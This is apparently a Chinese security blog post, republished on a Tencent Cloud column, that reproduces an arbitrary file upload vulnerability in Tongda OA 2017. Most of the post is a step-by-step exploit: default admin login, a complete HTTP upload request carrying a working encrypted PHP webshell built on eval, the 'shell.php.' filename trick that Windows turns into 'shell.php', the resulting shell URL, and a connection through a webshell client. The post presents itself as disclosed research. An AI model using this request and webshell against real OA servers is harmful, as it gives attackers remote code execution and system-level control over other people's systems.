前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞挖掘之通达OA2017任意文件上传

漏洞挖掘之通达OA2017任意文件上传

作者头像
乌鸦安全
发布2021-08-05 16:31:25
2.7K2
发布2021-08-05 16:31:25
举报
文章被收录于专栏:乌鸦安全乌鸦安全

关于通达OA

通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费版用户。

通达官网链接:https://www.tongda2000.com/

影响版本:MYOA2017

漏洞:用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。主要是因为通达OA未对用户上传的文件进行校验,因为windows系统会对文件名最后的.忽略,最后导致了该上传漏洞。比如:1.php. 到了win上之后就会变成1.php

本地复现

  1. 下载MYOA2017.exe按照默认选项安装好之后目录如下:

2. 本地按照默认80端口访问该OA:

3. 使用本地的默认账号admin和空密码进入:(实例的时候参考使用通达OA前台任意用户登录漏洞https://mp.weixin.qq.com/s/mY07eR6OnbRueGcITgxb7A进入后台)

4. 选择:快捷菜单—>个人文件柜—>选择新建文件,开始新建文件

5. 选择本地上传图片:

6. 上传脚本shell.jpg开始上传Burpsuite抓包,抓包数据如下:

代码语言:javascript
复制
POST /module/upload/upload.php?encode=utf-8 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------26422785422981
Content-Length: 1373
DNT: 1
Connection: close
Referer: http://localhost/module/ueditor/dialogs/image/image.html
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=591f5e0c; PHPSESSID=0bboeic38v9e7pvjqee3ns5gb5

-----------------------------26422785422981
Content-Disposition: form-data; name="id"

WU_FILE_0
-----------------------------26422785422981
Content-Disposition: form-data; name="name"

shell.jpg
-----------------------------26422785422981
Content-Disposition: form-data; name="type"

image/jpeg
-----------------------------26422785422981
Content-Disposition: form-data; name="lastModifiedDate"

2020/8/5 下午11:35:58
-----------------------------26422785422981
Content-Disposition: form-data; name="size"

650
-----------------------------26422785422981
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>
-----------------------------26422785422981--

7. 将文件名修改为:shell.php.,因为在win下不允许文件名最后的后缀是.的形式,所以win下会自动将点进行消除。

8. 得到返回包数据,并将数据进行拼接,得到url链接地址:

代码语言:javascript
复制
http://localhost/upload_temp/2008/798316902.shell.php

9. 访问该地址:

10. 菜刀连接:

因为这个后来提交到了cnvd,所以当时找到很多的互联网案例:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 本地复现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档